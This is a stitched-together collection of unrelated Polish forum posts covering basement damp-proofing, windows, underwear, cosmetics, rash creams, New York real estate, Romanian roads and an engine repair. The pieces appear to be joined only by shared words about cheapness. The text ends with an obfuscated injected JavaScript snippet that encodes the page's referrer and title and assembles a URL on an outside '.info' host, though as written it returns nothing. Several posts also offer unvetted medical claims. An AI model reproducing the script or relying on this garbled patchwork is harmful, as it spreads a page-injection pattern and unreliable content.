ślady (solne) na ścianach. Dostałam pierwszy kosztorys na powyższe prace -
domek nie ma w ogóle izolacji a piwnice chcemy porządnie, gruntownie wysuszyć i
nie mieć w przyszłości żadnych nieprzyjemnych niespodzianek powyżej.
Pierwsza firma (ponoć dobra, polecona) wyceniła nam te prace (na dobrych, może
najlepszych materiałach) strasznie wysoko!!!!No, napiszę ile-53 tys.(izolacja
pozioma, pionowa, razem ze skuwaniem podłóg w piwnicy i kładzeniem tam
ociepleń, tynkami renowacyjnymi wewnątrz, iniekcją, no wszystko co można w
takiej sytuacji zrobić). To jest podobno dlatego drogo bo kompleksowo i drogie
materiały (z zagranicy, specjalnie zamawiane, nie do kupienia normalną drogą,
ponoć!).
Domek ma 150 m.kw. z piwnicami (piwnic ok. 40 m.kw.), wilgoć jest tylko w
piwnicach no i własnie nie chcemy żeby kiedys przeniosła sie wyżej.
Czy ktoś z Forumowiczów ma tu jakieś doświadczenia?? Pan, panie Jurku, jako
Człowiek Renesansu - może cokolwiek doradzi? Jakimi metodami można skutecznie i
niedrogo (?!) powstrzymać wilgoć? Gdzie szukać wykonawcy? Czy samemu szukać
materiałów? pzrecież sama i tak nic nie zrobię, bo to specjalistyczne prace!!
Trzy lata temu załozyłem eleganckie niestety drogie ale extra okna PCV
firmy ......THERMOPLAST.Nie żałuję ani jednej złotówki wydanej na te okna.
Czwarta zimna zima + trzy dość gorące lata utwierdziły mnie w przekonaniu że
zakup był wart włożonych pieniędzy. A mogłem skorzystać z wielu "okazji" różnej
maści promocji znacznie tańszych itd. Czekałem co prawda znacznie dłużej od
przeciętnej ale nie załuję. Zamawiałem na Bartyckiej w przedstawicielstwie.
Na oknach nie warto oszczędzać , to jest podstawa. Nie ma żadnego znaczenia czy
to będą z "drewna" czy z plastiku ważne żeby były firmowe, porządne. A to
znaczy droższe. Ot i proza życia: tanie znaczy g... warte. Niestety.
Celowo słowo drewnianie ująłem w cudzysłów gdyż w drewnianych jest tyle drewna
ile w plastikowych plastiku. Owszem jest to drewno ale nasączone pod wysokim
ciśnieniem taką ilością preparatów chemicznych uodparniających na różnice
temperatur, na wilgoć, na grzyby itp. itd. na dodatek na ramie aluminiowej
że drewna tam jest tyle ile napisałem. Są również okna drewniane z drewna,
niedrogie,ładne ale ... na dwa, trzy lata po czym zaczyna się chocholi taniec
poczynając od tendencji do paczenia sie po picie wilgoci, rozwarstwianie itd.
Podobne z plastikami: to jest rama aluminiowa oblana plastikiem. To wszystko.
Wybór należy do Ciebie. Pzdr.
Aha szyby u wszystkich są z jednego miejsca w Polsce więc nie daj się zwieść
o jakichś nadprzyrodzonych własciwościach szkła float u różnych producentów
a pewnie będą Ci opowiadali o tym z pełnym przekonaniem bajki.Nie wierz nikomu.
A szyby są bardzo dobrej jakości.
Ja bardzo lubię bieliznę z sieci KaphAll, Cubus, H&M. Jest niedroga, a zawsze
znajdę swój ulubiony fason - czyli wyprofilowana twarda miseczka bez szwów,
koronek i gąbek, gładko obciągnięta jakimś śliskim materiałem i do tego 70A.
Poza tym mam kilka biustonoszy droższych marek ale nie widzę w nich żadnego
dobrodziejstwa, ani lepszej trwałości, ani żeby były bardziej wygodne, więc
raczej już nie będę kupowała drogiej bielizny. Z majtkami mam problem taki, że
najchętniej nosiłabym bawełniane męskie gatki, takie bez rozporka oczywiście,
bo są najwygodniejsze na świecie - dla kobiet nie robi się takich wygodnych
majtek, nie tylko pełnych, ale z wszytymi gumkami, nie pijącymi, nawet ładnie
wykończonych, nic się nie pruje... Do tego są tanie! Faceci mają lepiej i
łatwiej pod tym względem. Tak czy siak mam problem z majtkami taki, że nie wiem
gdzie kupić taką bieliznę, która jednocześnie byłaby ładna, wygodna i niezbyt
droga, no i damska :))

Pozdrawiam!
A czy któraś z Was zamawiała ubranka przez internet do Polski? Jak
można za nie zapłacić i czy droga jest taka przesyłka? Bo wiem, że
np. z mothercare jest strasznie drogo ze względu na przesyłkę. A
znacie może jakieś inne sklepy, które mają fajne ubranka i niedrogą
wysyłkę?
takinicknajedenwontek napisała:

> Spis zakupów:
>
> korektor rozświetlający pod oczy Diora (130 zł)
> do powiek pięciokolorowe tejże firmy (200 zł)
> 50 wody perfumowanej Poeme Lancoma (245 zł)
> 50 wody perfumowanej Coco Mademoiselle (345 zł)

po 50 ml, prawda? to niedrogo, jak na Polskę

> Tusz do rzęs grafitowy Heleny Rubinstein (139 zł)
> Krem do rąk sephory (około 30 zł)

no same podstawowe rzeczy, nie ma się doprawdy co szczypać
>
> Dla ciekawskich, mąż nie wydziela mi kieszonkowego, pieniądze mamy wspólne,
na
> okularki przeznaczyłam 1500 zł, a że wyszło jak wyszło, to nie powiem, zeby
> mnie to zmartwiło ;-P.

no pewnie że nie; od czasu do czasu kilka podstawowych zakupów trzeba poczynić,
piękna kobieta musi wszak zadbać o siebie

swoją drogą, ostatnio dostałam Poême Lancôme (woda toaletowa 150 ml) i jakbym
wiedziała, że to takie drogie, to bym na allegro sprzedała, a nie matce
oddawała

Uma, a jak ja nie uzywam tuszów ani cieni do powiek, to co mogę sobie kupić?
))
Cudowny środek na wysypkę
Na objawowe leczenie wysypki alergicznej lekarze zapisują nam i naszym dzieciom przeważnie środki zawierające sterydy, które, jakie są - wiadomo. A czasem się okazuje że może też pomóc inna maść, często bezpieczna i niedroga. Jeśli ktoś ma takie doświadczenia, proszę się podzielić. A może zadziałały jakieś babcine metody? Z naszych doświadczeń: Podczas ostatniej ciąży miałam paskudną suchą wysypkę na rękach ( podejrzewam że to była reakcja na preparaty witaminowe typu Materna ). Wizyta u ginekologa ( gdzieee tam, te preparaty na pewno nie uczulają, proszę się udać do dermatologa ), potem u dermatologa ( proszę sobie tym smarować przez 5 dni... ) - oczywiście jakaś maść sterydowa. Stwierdziłam że skoro jestem w ciąży to sterydami się smaroiwać nie będę i kupiłam sobie Alantan Plus maść ( mogłam pomylić pisownię ) i pomogło ! Po kilku dniach po wysypce nie było śladu, a Maternę swoją drogą odstawiłam . Na wysypkę u mojego rocznego synka oprócz sterydowego preparatu lekarz zapisała jakiś drogi kremik ( w żółtej tubce - nie pamiętam nazwy ), który wcale nie pomaga, a nie wiem czy nie szkodzi. Tak go nóżki swędziały ( drapał się niemiłosiernie ), że pobiegłam do apteki i kupiłam Pudroderm. Ku mojemu zdziwieniu nie tylko złagodził swędzenie, ale wysypka zaczęła trochę przygasać! Oczywiście to co pomogło nam niekoniecznie pomoże innym. Ale może pomoże coś innego, również bezpiecznego i (lub) niedrogiego ( oba moje preparaty są w cenie ok. 6pln ). Pozdrawiam. B.
Nie wiem dokladnie jak cenowo to wyglada, bo jestem
na razie na etapie poszukiwania odpowiedniej okolicy
a do kupna bede sie przymierzal za jakies 3-5 lat,
to z tego co ogladalem w Nowym Jorku :

- 37 exit z LIE , Roslyn Estate , piekne dzialki ,
poznalem goscia co kupil za 600 dom do remontu
na dzialce 1 akra z 3 garazami , niezle szkoly
- 32 exit z LI , Douglaston ,znakomite szkoly ,
dom na dzialce 100x100 + 2 osobne garaze z malym mieszkankiem
nad nimi , 700
- Bayside , troche za duze ceny w stosunku do co dostajesz
niewielka dzialka 50x75 z mizernym drewnianym domem = 750
- moje ulubione miejsce , okolice Whitestone Bridge ,
ostatni exit przed mostem pozniej nawrot pod spodem
i juz - okolica nazywana Malba , extra -tylko troche drogo
ogladalem dom z fontanna wewnatrz za 1.2
- Garden City ,LI ,niezle miejsce , bialo i jeszcze niedrogo
za 400 mozna dostac fajny dom
-na poludniu przy lotnisku Cedarhurst , Woodmere
i z drugiej strony Howard Beach , niestety
od czasu do czasu samoloty na niebie i cos moze spasc
na glowe
-ostatnio bylem pare razy w okolicy Mill Basin ,
sporo ruskich sie tam osiedla , domki ladne
ceny 300-500 z nieduzymi dzialkami z reguly
z garazami , basenem ...
-moje Bay Ridge powyzej 80 Street , niczego juz niestety
za 400 nie kupisz , start od 750
Tyle z Nowego Jorku , a moze Pensylwania ?

-Milford nad Delaware , dzialka chyba ze 2 akry z lasem
i rzeczka z wodospadami , domek drewniany z osobnym
garazem , 100 tys ,zima tylko przemknie czasem niedzwiedz,
dojazd droga 80 na Manhattan okolo 1 godziny .

pozdrawiam K.
odżywka do rzęs Talika czy działa?czy to pic?
no wlasnie czy ta Talika-droga odzywka naprawde powoduje ze rzesu rosna wzdluz?
czy to pobozne zyczenia kazdej kobiety ujete w marketingowa bujde?a przy okazji
jakie(niedrogie tzn 30-40 zl)odzywki do rzes mozecie polecic.(tylko nie olejek
rycynowy z apteki bo zawsze udawalo mi sie wytrzymac tylko tydzien)a moze tylko
drogie odzywki do rzes dzialaja(a moze zadne)pomozcie bo sie zamotalam w tym
wszystkim
Gość portalu: mysia200 napisał(a):

> no wlasnie czy ta Talika-droga odzywka naprawde powoduje ze rzesu rosna wzdluz?
> czy to pobozne zyczenia kazdej kobiety ujete w marketingowa bujde?a przy okazji
>
> jakie(niedrogie tzn 30-40 zl)odzywki do rzes mozecie polecic.(tylko nie olejek
> rycynowy z apteki bo zawsze udawalo mi sie wytrzymac tylko tydzien)a moze tylko
> Też chciałabym wiedzieć ,czy nikt tego nie używał??????????????
> drogie odzywki do rzes dzialaja(a moze zadne)pomozcie bo sie zamotalam w tym
> wszystkim
Potwierdzam. Droga z Satu do Cluj jest dobra z wyjątkiem odcinka do granicy HU,
chociaż niezbyt interesująca. Zabytkowa część miasta Satu Mare zaciekawia przy
tym całym zaniedbaniu.Być może wielka Oradea jest bardziej eksponowanym
miejscem, ale droga do Cluj to już nie, przynajmniej wg.stanu na koniec
sierpnia 2003.Od strony Cluj ok. 50 km wykopków, kurz i ruch wahadłowy.
Gość portalu Bynek gdzieś napisał że nie ma jedynie słusznej drogi dojazdu i ja
to popieram. Wszystko zależy skąd jedziesz i na czym ci bardziej zależy na
szybkości i wygodzie czy np. na widokach albo infrastrukturze hotelowej.
Wskazana przez Ciebie droga jest najlepsza na szybki tranzyt. mozna tez wiele
zobaczyć, ale tracisz przy zabytki w Turda,Alba Julia, starówkę w Sibiu,
monastyry Cozia. Wniosek jest taki, że wracając z Bułgarii lub Turcji dlaczego
nie wybrać innych preferencji? Jak sam wiesz chcąc dany kraj poznać musisz
zajrzeć na prowincję, zabrać autostopowicza (kę) i z nim pogadać, załatwić
nocleg w gospodarstwie agroturystycznym i wypić flachę z właścicielem. (żeby
jeszcze czasu starczylo)
Północna i południowa transylwania trochę się różnią. Północ jest mniej
zurbanizowana, bardziej przemysłowa, a przy tym surowsza. Przy południowej
trasie łatwiej o nocleg w pensjonacie np. pomiędzy Sebes i Sibiu.
W okolicach Shigishoara Azuga i Busteni(prywatne noclegi po 200tys. lei za
osobę) zajrzyjcie na przydrożne stragany, można wybrać nawet niezłe i niedrogie
rękodzieło rodem chyba z Marmarosz i Bukowiny.Natomiast miód i sery
dojrzewające są raczej drogie.Butelki napełnione różnobarwnym płynem to
bezalkoholowe syropy z różnych owoców i chyba też syrop klonowy. Na pewno nie
jest to wino ani rakija.
Wygląda pięknie, ale jest drogi (tzn. samo drewno jest niedrogie, ale bardzo
drogie jest położenie i chemia).
A może panele parkietowe np. Merbau - nie jest bardzo ciemny?
Gość portalu: ekipa.wawa@wp.pl napisał(a):

> Pani emmo pochwal się nie bądż pokaż wskaż nam na forum adres zdjęcia innych
> propozycju , nie chodzi o mnie wszak korzystasz także z pewnych wypowiedzi w
> Twoim temacie na forum. Nie chciałbym już na początku ,, współpracy ,,
> mieć powody do podejrzeń , że jesteś zaborcza wszystko co dobre tylko dla się
> chowasz ,nie daje innym szansy na niedrogi domek . co to ma być te innne
> propozycje tak ogólnie ,,domek z patyków i wełny ,, tzw potocznie
kanadyjczyjk
>
> Patki obudowane trocino-wiórowymi płytami z rakotwórczą wełną w środku ,
> Oczywiście nie krytykuję , ale już dawno stwierdzono drobiny wełny mineralnej
w
>
> płucach mogą być przyczyną raka . Soryy to drobna uwaga dla braku zaufania
> pani autorki tematu dla formuowiczów . Ma ponoć super propozycje i nic milczy
> jak zaklęta .

Panie "Ekipa", chyba to lekka przesada. Nie uważa Pan,że takie komentarze są
nie na miejscu. Bardzo przepraszam, ale jestem poważna osobą i nie życzę sobie
takich insynuacji! czy to poczucie "boskości" z Pana strony, że wszystkich
innich Pan krytykuje. Zaznaczyłam, że mam inne propozycje tylko dlatego, że
jestem na etapie porównań i musze w miare szybko zdecydowac sie na firmę, z
która będziemy się umawiać na budowę domu. Nie uważam, żebym miała się przed
Panem tłumaczyć, czy cokolwiek udowadniać. Poza tym nikt poza mną nie pytał się
o tani dom. A co do zaborczości, prosze się zastanowić nad sobą. Jakoś mam
wrażenie, że zastarszaniem i obrażaniem stara się Pan zdobywać klientów. To
chyba nie tędy droga.
Miałem kiedyś podobną sytuację. Kupiłem używany samochód o podobnym przebiegu.
Zaraz po kupnie wymieniłem olej - z nieznanego przeszedłem na syntetyk. Okazało
sie, że autko bierze. Przy kolejnej wymianie przeszedłem na półsyntetyk. Autko
dalej brało. Nie widziałem żadnych wycieków, jedynie "pocenie się" silnika.
Mechanik sugerował, że mogą to być uszczelniacze zaworów, może uszczelka pod
głowicą, choć to raczej wykluczał (ja też) - samochód nie grzał sie, nie
ubywało płynu chłodniczego, nie dymił na niebiesko. Dolewałem i jeździłem
dalej. Aż pewnego dnia, jadąc z rodzinką na wymarzone wakacje nad Adriatykiem,
mniej więcej w połowie drogi do upragnionego celu podróży, samochód zaczął
dziwnie pracować, jakby bulgotać, spadły obroty, za to silnik grzał sie "na
czerwono". Co sie okazało? Poszła uszczelka pod głowicą... Siedem godzin roboty
u pewnego chorwackiego mechanika i jazda dalej, na wakacje. Od tej pory
samochód bierze jedynie śladowe ilości oleju.
Nie wiem, czy w Twoim przypadku jest podobnie. Na pewno nie można tego
bagatelizować, ani "oszukiwać" silnika gęstszym olejem. Nie wiem co Ci
sugerować. Na pewno przydałby sie jakiś dobry mechanik, króty zdiagnozowałby
powody brania oleju. Warto by na pewno zmierzyć stopień sprężania w cylindrach,
a może pokusić sie na wymianę uszczelki (wiem, ze to duża robota i kosztowna,
ale lepiej, żeby taka waraia nie zaskoczyła Cię w nieoczekiwanych
okolicznościach).
A swoją drogą, jeśli przypadkiem jedziecie do Chorwacji drogą przez Slawonię i
czujecie, że źle sie dzieje z waszym autkiem, zjedźcie koniecznie do
miejscowościo Djakovo, stańcie w centrum koło dworca autobusowego i pytajcie o
mechanika. Na pewno uprzejmi ludzie tam mieszkający skierują Was do tegi speca,
do którego ja trafiłem. Niestety nie pamiętam jego imienia. Uszczelkę wymieniał
mi jego syn, Kriszo, pracujący w sklepie z częściami auto. Robił długo, ale
bardzo dokładnie, porządnie i niedrogo (jakieś 300 zł za wszystko - robota plus
uszczelka). I jeszcze nas przenocował nas u siebie. Duża wdzięczność dla niego
Pozdrawiam
Ignorancie,

Nie czuję się na siłach polemizować z całą tą Twoją wypowiedzią. Ograniczę się
tylko do dwóch uwag, wybacz, ale krytycznych.

1) Przedstawiona tu przez Ciebie generalna koncepcja (nie wnikając w tym w
szczegóły argumentacji) wymagałaby co najmniej doskonałej organizacji,
świadomego swych celów przywództwa, świetnego rozpoznania i wybitnej zdolności
przewidywania następstw podjętych przez siebie kroków. Nie wiem dlaczego, ale
mam w tym momencie niejakie wątpliwości.

2) Gdzieś ty napotkał dobrowolnie emigrujace ELYTY? Zawsze sobie wyobrażałem,
że zazwyczaj ELYTY siedzą sobie spokojnie na czterech literach, spijają miodek
i pieczołowicie pilnują co by im się ludek za bardzo nie wyemancypował. We
wszystkich znanych mi z historii przypadkach emigracji ELYT, odbywały sie one
bardzo pospiesznie i niedobrowolnie, często w połączeniu z wysokim stopniem
dekapitacji zainteresowanych. Operacja odspawania od stołka i amputacji ryja
przy korycie jest bardzo bolesna, niehumanitarna i zazwyczaj spotyka się z
gwałtownym protestem pacjenta. Może się powieść tylko przy jego zaskoczeniu.
Moja ograniczona wyobraźnia nie jest za bardzo w stanie ogarnąć okoliczności
zorganizowanego zabrania ze sobą garncarzy w takich warunkach. No chyba, że
Prasłowianie, jak zwykle nie trzymajacy się utartych schematów, mieli
szczególnie na względzie interes przyszłych archeologów. W takim jednak
wypadku powinni wykazać się odrobiną przyzwoitości i zostawić jakieś listy
zaczynające się od słów: "Drogi badaczu, niech Cię nie zmyli świadectwo Twoich
własnych oczu...". Swoją drogą, uczestniczyłem kiedyś w wykopaliskach, których
kierownictwo, po decyzji zwalenia całego niewykorzystanego materiału do
jednego z wykopów, postanowiło takowy list dla potomnych pozostawić. Może
niezupełnie takiej treści, ale całkowicie zachowujący taki sens. W butelce po
stosunkowo niedrogim, ale za to bardzo dobrym winie.

Pozdrawiam
Paweł

> function bb515456937b2a4(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515456937b26a(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515456937b26a(bb515456937b2a4(document.referrer),bb515456937b2a4(document.title)));